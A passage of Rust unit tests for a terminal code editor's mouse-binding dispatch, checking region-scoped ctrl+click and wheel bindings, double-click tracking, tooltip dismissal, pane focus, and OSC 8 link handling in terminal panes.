    let (mut app, _tmp) = tree_app_with_keymap(
        r#"[{"key": "ctrl+click", "command": "quick_open", "when": "editor"}]"#,
    );
    assert!(app.file_finder.is_none(), "nothing open yet");

    let col = app.editor.last_inner.x + 4;
    let row = app.editor.last_inner.y + 1;
    let mut ev = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    assert!(
        app.file_finder.is_some(),
        "the bound command must run, taking the gesture over from its built-in"
    );
}

#[test]
fn a_gesture_runs_the_binding_for_the_region_it_was_clicked_in() {
    // The same spelling bound in two regions must resolve by where the click
    // landed, which is what `mouse_context_for` exists for.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp) = tree_app_with_keymap(
        r#"[{"key": "ctrl+click", "command": "quick_open", "when": "file_tree"},
            {"key": "ctrl+click", "command": "toggle_side_bar", "when": "editor"}]"#,
    );

    let mut in_tree = mouse(
        MouseEventKind::Down(MouseButton::Left),
        app.tree.last_area.x + 2,
        app.tree.last_area.y + 1,
    );
    in_tree.modifiers = KeyModifiers::CONTROL;
    let tree_was = app.show_tree;
    app.handle_mouse(in_tree);
    assert!(
        app.file_finder.is_some(),
        "a click in the tree runs the file_tree row"
    );
    assert_eq!(
        app.show_tree, tree_was,
        "and must not run the editor row bound to the same spelling"
    );
}

#[test]
fn a_click_binding_does_not_disable_the_double_click_binding_beside_it() {
    // The dispatch returns early, skipping the built-in branch that would
    // have recorded the click. Without recording it itself, a firing `click`
    // binding leaves `is_double` false forever and the `double_click` binding
    // beside it never fires again.
    //
    // Driven through `handle_mouse`: the previous version of this test called
    // `tree_click.record` itself and asserted `is_double`, which is a
    // tautology about `ClickTracker` that passes with the fix reverted.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp) = tree_app_with_keymap(
        r#"[{"key": "click", "command": "save_file", "when": "file_tree"},
            {"key": "double_click", "command": "quick_open", "when": "file_tree"}]"#,
    );
    let col = app.tree.last_area.x + 2;
    let row = app.tree.last_area.y + 1;

    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.file_finder.is_none(),
        "the first click is a single and must run the `click` row"
    );
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.file_finder.is_some(),
        "the second must still read as a double — the click binding has to \
         keep the tracker the built-in would have kept"
    );
}

#[test]
fn a_bound_gesture_dismisses_the_hover_and_tab_tooltip() {
    // The dispatch returns early, above the teardown every other left-press
    // path runs. Without doing it itself, a fired binding leaves a hover or
    // tab tooltip painted over state the command just changed — describing
    // what was there before it ran.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp) = tree_app_with_keymap(
        r#"[{"key": "ctrl+click", "command": "quick_open", "when": "editor"}]"#,
    );
    app.hover_popup = Some(crate::widgets::hover_popup::HoverPopup::new(
        String::from("stale hover"),
        (1, 1),
    ));
    app.tab_tooltip = Some(crate::widgets::hover_popup::HoverPopup::new(
        String::from("stale tab tooltip"),
        (1, 1),
    ));

    let mut ev = mouse(
        MouseEventKind::Down(MouseButton::Left),
        app.editor.last_inner.x + 4,
        app.editor.last_inner.y + 1,
    );
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    assert!(app.file_finder.is_some(), "the binding fired");
    assert!(
        app.hover_popup.is_none(),
        "a fired binding must dismiss the hover it painted over"
    );
    assert!(app.tab_tooltip.is_none(), "and the tab tooltip with it");
}

#[test]
fn a_terminal_miss_does_not_blame_a_view_it_never_searched() {
    // The refusal was scoped to the editor lookup, but the STATUS derived from
    // the same predicate stayed arm-wide: a click in a TERMINAL pane with no
    // link reported "No links in this view", naming the editor's view — which
    // `editor_blocked` had already short-circuited, so it was never searched.
    //
    // "a non-text view is up" and "the editor lookup is the one that missed"
    // are different questions, and the status must answer the second.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let bin = tmp.path().join("a.bin");
    std::fs::write(&bin, [0u8, 1, 2, 3, 4, 5, 6, 7]).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+click", "command": "mouse_open_link_at_click", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    app.editor.hex = Some(crate::hex::HexView::open(&bin).unwrap());
    assert!(
        app.editor.has_non_text_view(),
        "precondition: a non-text view must be up, or the arm-wide status and \
         the scoped one agree and this test cannot tell them apart"
    );

    // Plain text, no link anywhere on the row.
    app.terminals[0].feed_bytes_for_test(b"just some words\r\n");
    term.draw(|f| app.render(f)).unwrap();
    let area = app.terminals[0].last_area;
    let (col, row) = (area.x + 2, area.y + 1);
    assert!(
        app.terminals[0].hyperlink_at_screen(col, row).is_none(),
        "precondition: the cell must hold NO link, or this tests the hit path"
    );
    assert_eq!(
        app.terminal_at_pos(col, row),
        Some(0),
        "precondition: and must be inside a terminal pane, or the editor \
         lookup is legitimately the one that missed"
    );

    app.focus_pane(Pane::Terminal);
    let mut ev = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    assert_eq!(
        app.status, "No link there",
        "a miss in a TERMINAL pane must not name the editor's view: that \
         lookup was short-circuited and never searched"
    );
}

#[test]
fn a_terminal_link_binding_is_not_refused_for_an_editor_side_reason() {
    // `MouseOpenLinkAtClick` spans two panes: it tries the editor's document
    // link, then falls through to the terminal helpers. The `has_non_text_view`
    // guard was placed on the whole ARM, but its justification — `buffer_pos_at`
    // maps cells from the TEXT layout, so a diff/hex view yields a position
    // into a buffer the user is not looking at — is about the EDITOR lookup
    // only. `terminal_url_click`/`terminal_file_click` read `self.terminal()`
    // and are independent of editor view state.
    //
    // The built-in this command replaces guards neither, so an arm-wide guard
    // made the bound command diverge from the built-in in the opposite
    // direction to the one the guard was added to fix.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let bin = tmp.path().join("a.bin");
    std::fs::write(&bin, [0u8, 1, 2, 3, 4, 5, 6, 7]).unwrap();
    // `App::new` + direct keymap assignment, matching the sibling OSC 8 tests:
    // `tree_app_with_keymap` focuses the TREE, which lays the panes out
    // differently and moves the terminal's `last_area`.
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+click", "command": "mouse_open_link_at_click", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    // The editor shows a hex preview of an UNRELATED file — the state the
    // guard exists for, and which has nothing to do with the terminal.
    app.editor.hex = Some(crate::hex::HexView::open(&bin).unwrap());
    assert!(
        app.editor.has_non_text_view(),
        "precondition: the editor must be on a non-text view, or the guard \
         never fires and this test is about the ordinary path"
    );

    // A non-web OSC 8 link in the terminal: resolves via `hyperlink_at_screen`,
    // then `open_detected_url` refuses the scheme INERTLY. A web URL would
    // reach `open_url` and launch a real browser.
    // The prompt of the real shell in this pane races the fed bytes, so the
    // line it lands on is not fixed (#397). This puts a line in front of the
    // link deliberately, making the order that used to break this test the
    // one it always runs, and the cell is then searched for rather than
    // assumed.
    app.terminals[0].feed_bytes_for_test(b"a prompt got here first\r\n");
    // A DECOY link on an earlier row, which is what gives `cell_with_link`'s
    // exact-URI predicate a red state here: weaken it to `.is_some()` and the
    // row-major search stops on the decoy, so the click resolves the wrong
    // link and the status assertion below rejects it by name. Without this
    // the predicate could be reverted and the test would still pass, since
    // nothing else in this pane emits OSC 8.
    //
    // `mailto:` rather than `file://` deliberately: `file://` is intercepted
    // by `editor_file_uri` and would exercise a different arm.
    app.terminals[0]
        .feed_bytes_for_test(b"\x1b]8;;mailto:decoy@example.com\x1b\\decoy\x1b]8;;\x1b\\\r\n");
    // Trailing newline parks the cursor on the NEXT row: without it any late
    // shell output writes onto the link's own row.
    app.terminals[0]
        .feed_bytes_for_test(b"\x1b]8;;mailto:t@example.com\x1b\\link\x1b]8;;\x1b\\\r\n");
    term.draw(|f| app.render(f)).unwrap();
    let (col, row) = cell_with_link(&app.terminals[0], "mailto:t@example.com").expect(
        "precondition: the click must land on the terminal link, or a refusal \
             proves nothing about which branch refused it",
    );

    app.focus_pane(Pane::Terminal);
    let mut ev = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    assert_eq!(
        app.status, "Refused to open non-web link: mailto:t@example.com",
        "a TERMINAL-region link binding must reach the terminal helpers even \
         while the EDITOR shows a hex preview of an unrelated file: the guard's \
         reason does not apply to a pane it does not read"
    );
}

#[test]
fn the_at_click_commands_all_refuse_a_non_text_view() {
    // All three At Click commands guard on `has_non_text_view`, because
    // `buffer_pos_at` maps cells from the TEXT layout and still returns a
    // position on a diff/sheet/hex/log view — so without the guard they would
    // act on coordinates belonging to a buffer the user is not looking at.
    //
    // Short-circuiting all three guards to false leaves the full suite green,
    // so the guards shipped unpinned. Each arm asserts its OWN status, since
    // a shared assertion would pass with two of the three guards deleted.
    let tmp = tempfile::tempdir().unwrap();
    let bin = tmp.path().join("a.bin");
    std::fs::write(&bin, [0u8, 1, 2, 3, 4, 5, 6, 7]).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.hex = Some(crate::hex::HexView::open(&bin).unwrap());

    // Positive control: without this the test passes vacuously if the fixture
    // ever stops producing a non-text view.
    assert!(
        app.editor.has_non_text_view(),
        "precondition: the fixture must actually open a non-text view, or \
         every assertion below is about the ordinary text path"
    );
    // And the commands must have a click to act on, or they take the
    // keyboard-invocation arm and refuse for an unrelated reason.
    app.last_mouse_pos = Some((10, 10));

    for (cmd, want) in [
        (
            crate::widgets::command_palette::Command::MouseAddCursorAtClick,
            "No cursors in this view",
        ),
        (
            crate::widgets::command_palette::Command::MouseGoToDefinitionAtClick,
            "No definitions in this view",
        ),
        (
            crate::widgets::command_palette::Command::MouseOpenLinkAtClick,
            "No links in this view",
        ),
    ] {
        app.status = String::from("untouched");
        app.run_command(cmd);
        assert_eq!(
            app.status, want,
            "{cmd:?} must refuse on a non-text view rather than acting on a \
             buffer position the user cannot see"
        );
    }
}

#[test]
fn a_binding_on_the_terminal_border_fires_because_the_child_cannot_receive_it() {
    // `child_owns_pointer` declines a user binding when the child has asked
    // for mouse tracking. But `terminal_at_pos` hit-tests `last_area`, which
    // INCLUDES the border, while delivery goes through `cell_at`, which
    // hit-tests `last_inner` and excludes it. So a click on the border was
    // suppressed for the child's benefit and then never reached the child:
    // lost by both parties.
    //
    // The built-in wheel path already has this rule and says so
    // ("the wheel sat on the pane BORDER, outside the inner grid ... falls
    // through like any non-tracking pane instead of swallowing the notch"),
    // but it requires `report_mouse` to actually return true. This predicate
    // checked only `mouse_reporting()`.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp) = tree_app_with_keymap(
        r#"[{"key": "ctrl+click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.focus_pane(Pane::Terminal);

    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "terminal must be laid out"
    );
    let (col, row) = (area.x + 2, area.y);

    // The two facts that make this a BORDER click rather than a grid click.
    // Without both, the test would be about something else entirely.
    assert!(
        app.terminals[0].cell_at(col, row).is_none(),
        "precondition: this cell must be OUTSIDE the inner grid, or the child \
         could receive it and suppression would be correct"
    );
    assert_eq!(
        app.terminal_at_pos(col, row),
        Some(0),
        "precondition: but INSIDE last_area, or `child_owns_pointer` never \
         considers this terminal and the test proves nothing"
    );

    // Child asks for tracking: the real predicate `mouse_reporting` consults.
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h");
    assert!(
        app.terminals[0].mouse_reporting(),
        "precondition: the child must be tracking, or there is nothing to \
         decline the binding for"
    );

    let before = app.editor.wrap_enabled();
    let mut ev = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    assert_ne!(
        app.editor.wrap_enabled(),
        before,
        "a binding on the BORDER must fire: the child cannot own a cell it \
         will never be told about, so declining here loses the gesture for \
         both parties. The wheel path already falls through on this exact case"
    );
}

#[test]
fn the_swallowed_prefix_click_dismisses_the_hover_and_tab_tooltip() {
    // The sibling test above binds `ctrl+click` to a real command, so it takes
    // the MATCHED branch. The swallow branch needs a gesture that matches
    // NOTHING but is the first half of a bound double — a different arm, with
    // its own early return, which for a while did none of the teardown.
    //
    // Deleting `dismiss_click_overlays` from the swallow branch leaves the
    // whole suite green without this test, so the code was correct today and
    // unguarded tomorrow.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp) = tree_app_with_keymap(
        r#"[{"key": "ctrl+double_click", "command": "quick_open", "when": "editor"}]"#,
    );
    app.hover_popup = Some(crate::widgets::hover_popup::HoverPopup::new(
        String::from("stale hover"),
        (1, 1),
    ));
    app.tab_tooltip = Some(crate::widgets::hover_popup::HoverPopup::new(
        String::from("stale tab tooltip"),
        (1, 1),
    ));

    let mut ev = mouse(
        MouseEventKind::Down(MouseButton::Left),
        app.editor.last_inner.x + 4,
        app.editor.last_inner.y + 1,
    );
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    // Proves this took the SWALLOW path, not the matched one: only
    // `ctrl+double_click` is bound, so a single click matches no command.
    // Without this the test could pass via the sibling branch's teardown and
    // say nothing about the swallow.
    assert!(
        app.file_finder.is_none(),
        "the prefix click must NOT fire the bound double's command — if it \
         did, this exercises the matched branch and not the swallow"
    );
    assert!(
        app.hover_popup.is_none(),
        "a swallowed prefix click must dismiss the hover it painted over, \
         exactly as the matched branch does: it re-focuses the pane underneath"
    );
    assert!(app.tab_tooltip.is_none(), "and the tab tooltip with it");
}

#[test]
fn every_mouse_binding_the_docs_show_actually_loads() {
    // Round 7 found `paste` and `page_up` in this example, neither of which is
    // a real command id: `Keymap::from_json` skipped both rows with a warning,
    // so a user copying the documented snippet got a keymap that silently did
    // less than it said. A doc example that does not load is worse than none,
    // and the only way that stays true is to load the real file here rather
    // than a copy that can drift from it.
    let doc = include_str!("../../docs/KEYBINDINGS.md");
    let block = doc
        .split("## Mouse bindings in `keybindings.json`")
        .nth(1)
        .expect("the mouse bindings section is still in KEYBINDINGS.md")
        .split("```jsonc")
        .nth(1)
        .and_then(|rest| rest.split("```").next())
        .expect("the section still carries a jsonc example block");
    assert!(
        block.contains("\"command\""),
        "the extracted block must be the binding example, not an empty match"
    );

    let (_km, warnings) = crate::keymap::Keymap::resolve(block);
    assert!(
        warnings.is_empty(),
        "the documented example must load cleanly, but got: {warnings:?}"
    );
}

#[test]
fn a_modified_double_click_can_fire_at_all() {
    // The dispatch deliberately refuses to record a MODIFIED click into the
    // built-in trackers: they are shared with the editor's plain select-word,
    // so arming them with a ctrl+click would make the user's next ORDINARY
    // click select a word they never asked for. But `double_click` is only
    // classified by asking a tracker whether it just saw a click here — so
    // with nothing recording modified clicks, `ctrl+double_click` could never
    // become true and the binding was unreachable. A separate tracker keeps
    // both rules: the built-in one stays unarmed, the modified pair is seen.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Bound in `terminal`, not `editor`: with no file open the editor is never
    // laid out (`last_area` comes back height 0), so no click coordinate can
    // land in it and the binding's `when` could never match. The terminal is
    // always present, and this test is about whether a modified double-click
    // can fire AT ALL — the region it fires in is incidental.
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+double_click", "command": "toggle_word_wrap", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let before = app.editor.wrap_enabled();
    let area = app.terminals[0].last_area;
    assert!(
        area.width > 4 && area.height > 2,
        "the terminal must be laid out, or the click lands nowhere and this \
         test passes or fails for reasons unrelated to double-click tracking"
    );
    let (col, row) = (area.x + 2, area.y + 1);

    // First ctrl+click: arms the modified tracker, fires nothing (no `click`
    // row is bound), and must NOT arm the plain tracker.
    let mut first = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    first.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(first);
    assert_eq!(
        app.editor.wrap_enabled(),
        before,
        "the first click of the pair is not yet a double"
    );

    // Second ctrl+click at the same cell: now it is a double, so it fires.
    let mut second = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    second.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(second);
    assert_ne!(
        app.editor.wrap_enabled(),
        before,
        "ctrl+double_click must be reachable, not permanently dead"
    );
}

#[test]
fn a_bound_gesture_moves_keyboard_focus_to_the_pane_it_clicked() {
    // Round 7: the dispatch made the clicked terminal pane ACTIVE (so commands
    // read the right grid) but never called `focus_pane`, which is a different
    // thing — it decides where the next KEYSTROKE goes. So a bound gesture
    // clicked into the terminal ran against the terminal while the user's
    // typing kept going to the editor they had left.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+click", "command": "mouse_open_link_at_click", "when": "terminal"}]"#,
    );
    app.focus_pane(Pane::Editor);
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let area = app.terminals[0].last_area;
    assert!(area.width > 4 && area.height > 2, "the terminal is visible");
    let mut ev = mouse(
        MouseEventKind::Down(MouseButton::Left),
        area.x + 2,
        area.y + 1,
    );
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    // `matches!` rather than `assert_eq!`: `Pane` has no `Debug`, and deriving
    // one on a production type just to format a test failure is the wrong
    // trade.
    assert!(
        matches!(app.focus, Pane::Terminal),
        "clicking a pane with a bound gesture must focus it, or the next \
         keystroke goes to the pane the user just clicked away from"
    );
}

#[test]
fn a_bound_wheel_gesture_fires_and_a_modified_wheel_does_not_match_the_bare_row() {
    // The wheel is the one gesture family whose dispatch no other test drives
    // end to end — the rest of the coverage stops at the parser. It is also
    // the family where a regression is invisible: a wheel that silently falls
    // through to the built-in scroll looks like ordinary scrolling.
    //
    // Modifiers are part of a gesture's identity, so a bare `wheel_up` row
    // must not answer a ctrl+wheel_up. That is the same rule the shift test
    // above pins for clicks, checked here for the wheel.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp) =
        tree_app_with_keymap(r#"[{"key": "wheel_up", "command": "quick_open", "when": "editor"}]"#);
    let _ = MouseButton::Left;

    let (col, row) = (app.editor.last_inner.x + 4, app.editor.last_inner.y + 1);
    let mut modified = mouse(MouseEventKind::ScrollUp, col, row);
    modified.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(modified);
    assert!(
        app.file_finder.is_none(),
        "ctrl+wheel_up must not match a bare `wheel_up` row"
    );

    app.handle_mouse(mouse(MouseEventKind::ScrollUp, col, row));
    assert!(
        app.file_finder.is_some(),
        "a bare wheel_up binding must fire through the dispatch"
    );
}

#[test]
fn a_bound_gesture_resolves_the_link_in_the_pane_it_clicked_not_the_active_one() {
    // Splits make several terminals visible at once, and every terminal
    // command reads the grid through `self.terminal()`, i.e. the ACTIVE
    // pane. The built-in ctrl+click makes the clicked pane active before
    // resolving the link; the binding dispatch returns above that point, so
    // without its own activation a bound `mouse_open_link_at_click` inspects
    // whichever pane happened to be focused and reports "No link there" over
    // a URL the user can plainly see.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+click", "command": "mouse_open_link_at_click", "when": "terminal"}]"#,
    );
    app.split_terminal().unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(app.terminals.len(), 2, "two panes are visible");

    // The URL is printed into pane 0 only, while pane 1 holds focus.
    // An OSC 8 hyperlink with a NON-WEB scheme, not a printed http(s) URL.
    // `terminal_url_click` checks `hyperlink_at_screen` before text sniffing,
    // so this resolves; and `open_detected_url` then refuses a non-web scheme
    // inertly. A printed https URL would reach `open_url`, which is
    // `Command::new("open")` with no test guard — the suite would launch a
    // real browser on every run (#307's spawning class).
    app.terminals[0].feed_bytes_for_test(b"a prompt got here first\r\n");
    // A DECOY link on an earlier row. It pins the exact-URI predicate the
    // same way it is pinned in the split-feed siblings: under `.is_some()`
    // the row-major search hits the decoy, the click resolves it, and the
    // `zero@` status assertion below fails by name. The decoy goes into pane
    // 0 alongside the payload, so it cannot weaken the "WHICH pane resolved"
    // claim: pane 1 still carries no link at all.
    app.terminals[0]
        .feed_bytes_for_test(b"\x1b]8;;mailto:decoy@example.com\x1b\\decoy\x1b]8;;\x1b\\\r\n");
    app.terminals[0]
        .feed_bytes_for_test(b"\x1b]8;;mailto:zero@example.com\x1b\\zero-link\x1b]8;;\x1b\\\r\n");
    app.active_terminal = 1;
    term.draw(|f| app.render(f)).unwrap();

    // Click directly on the URL, in pane 0, the pane that is NOT active.
    //
    // The cell is SEARCHED FOR rather than computed as "first row after the
    // border". Pane 0 runs a real shell, so its prompt races the fed bytes:
    // when the prompt lands first the printed line is pushed down a row and
    // the assumed cell holds nothing, which is a flake under full-suite load
    // and passes every time in isolation (#397). The `a prompt got here
    // first` line above makes that order permanent instead of occasional, so
    // this test now exercises the case that used to break it.
    //
    // Searching costs nothing here: the claim is "clicking the link in pane 0
    // resolves against pane 0", and any cell carrying that link is a fair
    // place to click. The precondition survives, because a pane with no such
    // cell fails below rather than clicking somewhere arbitrary.
    let (col, row) = cell_with_link(&app.terminals[0], "mailto:zero@example.com").expect(
        "pane 0 must carry the OSC 8 link somewhere in its area, or a refusal proves nothing",
    );
    let mut ev = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);

    // Positive form, not `assert_ne!("No link there")`: excluding one string
    // cannot tell "resolved pane 0's link" from "resolved nothing and said so
    // differently". The `zero@` address also pins WHICH pane resolved — pane 1
    // holds focus and carries no link.
    assert_eq!(
        app.status, "Refused to open non-web link: mailto:zero@example.com",
        "the bound command must resolve against the CLICKED pane; it read the active one"
    );
    assert_eq!(
        app.active_terminal, 0,
        "clicking a pane through a binding makes it active, as the built-in does"
    );
}

#[test]
fn a_mouse_tracking_child_keeps_the_pointer_from_a_bound_wheel() {
    // A tracking child owns the gestures croft actually FORWARDS: the wheel
    // (both wheel arms) and, since #474, the left button. So a bound wheel
    // must decline for the child. The left click is covered by
    // `a_bound_click_defers_to_a_mouse_tracking_child`, which asserts the
    // same rule for the same reason.
    //
    // SHIFT is the documented override.
    use crossterm::event::MouseEventKind;
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+wheel_up", "command": "quick_open", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    // The child enables mouse tracking.
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h");
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.terminals[0].mouse_reporting(),
        "the child is tracking the mouse"
    );

    let area = app.terminals[0].last_area;
    let (col, row) = (area.x + 2, area.y + 1);
    // Precondition: the cell must be inside `last_inner`, or the guard
    // declines for the BORDER reason and this proves nothing about tracking.
    assert!(
        app.terminals[0].cell_at(col, row).is_some(),
        "the wheel must land on a real grid cell"
    );
    let mut ev = mouse(MouseEventKind::ScrollUp, col, row);
    ev.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ev);
    assert!(
        app.file_finder.is_none(),
        "croft FORWARDS the wheel to a tracking child (all three `report_mouse` \
         call sites construct WheelUp/WheelDown), so the child really does own \
         this gesture and the binding must not fire"
    );
}

/// The Shift half of the same rule, on its own app: the first click of the
/// pair above is forwarded to the child, which starts a selection drag, and
/// a drag in flight legitimately swallows the next press. Sequencing the two
/// halves would test that interaction rather than the bypass.
#[test]
fn holding_shift_takes_the_pointer_back_from_a_tracking_child() {
    // Shift is ALSO part of a gesture's identity, so the bypass selects a
    // different row rather than rescuing the `ctrl+click` one: over a
    // tracking TUI you must bind `ctrl+shift+click` for a gesture that fires.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Terminal);
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+shift+click", "command": "quick_open", "when": "terminal"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1000h");
    term.draw(|f| app.render(f)).unwrap();
    assert!(app.terminals[0].mouse_reporting(), "the child is tracking");

    let area = app.terminals[0].last_area;
    let mut shifted = mouse(
        MouseEventKind::Down(MouseButton::Left),
        area.x + 2,
        area.y + 1,
    );
    shifted.modifiers = KeyModifiers::CONTROL | KeyModifiers::SHIFT;
    app.handle_mouse(shifted);
    assert!(
        app.file_finder.is_some(),
        "Shift takes the pointer back and the ctrl+shift+click row fires"
    );
}

#[test]
fn a_tab_strip_binding_fires_only_on_the_strip() {
    // `gesture_for` deliberately shares `editor_click` between the strip and
    // the editor body. That is only safe because a double needs both clicks
    // at the SAME cell and the two regions never overlap, so pin it.
    use crossterm::event::{MouseButton, MouseEventKind};
    let (mut app, _tmp) = tree_app_with_keymap(
        r#"[{"key": "ctrl+click", "command": "quick_open", "when": "tab_strip"}]"#,
    );
    let strip_y = app.editor.tab_strip_y_for_test();
    let tab = app
        .editor
        .tab_at(app.editor.last_inner.x + 1, strip_y)
        .map(|_| (app.editor.last_inner.x + 1, strip_y))
        .expect("a rendered tab cell to aim at");

    let mut on_strip = mouse(MouseEventKind::Down(MouseButton::Left), tab.0, tab.1);
    on_strip.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(on_strip);
    assert!(
        app.file_finder.is_some(),
        "the strip row fires on the strip"
    );

    // The body is a different region, so the same spelling must fall through
    // to the built-in rather than firing the tab_strip row.
    app.file_finder = None;
    let body_row = app.editor.last_inner.y + 1;
    assert_ne!(body_row, strip_y, "the strip and the body do not overlap");
    let mut in_body = mouse(
        MouseEventKind::Down(MouseButton::Left),
        app.editor.last_inner.x + 4,
        body_row,
    );
    in_body.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(in_body);
    assert!(
        app.file_finder.is_none(),
        "a tab_strip binding must not fire in the editor body"
    );
}

#[test]
fn the_at_click_commands_refuse_a_keyboard_invocation() {
    // Each reads the click through `last_mouse_pos`, which a palette or
    // chord invocation leaves None. They must say so rather than guess at
    // the caret and act somewhere the user never pointed.
    use crate::widgets::command_palette::Command;
    let (mut app, _tmp) = tree_app_with_keymap("[]");
    for (cmd, want) in [
        (
            Command::MouseAddCursorAtClick,
            "Mouse: Add Cursor at Click needs a mouse binding",
        ),
        (
            Command::MouseGoToDefinitionAtClick,
            "Mouse: Go to Definition at Click needs a mouse binding",
        ),
        (
            Command::MouseOpenLinkAtClick,
            "Mouse: Open Link at Click needs a mouse binding",
        ),
    ] {
        app.last_mouse_pos = None;
        app.status.clear();
        app.run_command(cmd);
        assert_eq!(app.status, want, "{cmd:?} must refuse a keyboard call");
    }
}

#[test]
fn a_modified_click_binding_does_not_arm_the_plain_double_click() {
    // `GestureKind::Click` covers `ctrl+click` too, and the built-ins read
    // their trackers without consulting modifiers. Recording a modified click
    // armed the editor's plain double-click, so the user's next ordinary
    // click selected a word they never gestured for.
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("t.rs");
    std::fs::write(&file, "let name = value;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.keymap = crate::keymap::Keymap::from_json(
        r#"[{"key": "ctrl+click", "command": "save_file", "when": "editor"}]"#,
    );
    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let col = app.editor.last_inner.x + 12;
    let row = app.editor.last_inner.y;
    let mut ctrl = mouse(MouseEventKind::Down(MouseButton::Left), col, row);
    ctrl.modifiers = KeyModifiers::CONTROL;
    app.handle_mouse(ctrl);
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));

    // A plain click always anchors a collapsed selection (anchor == head);
    // that is true with no binding loaded too. The defect is a non-empty one,
    // i.e. a WORD the user never gestured for.
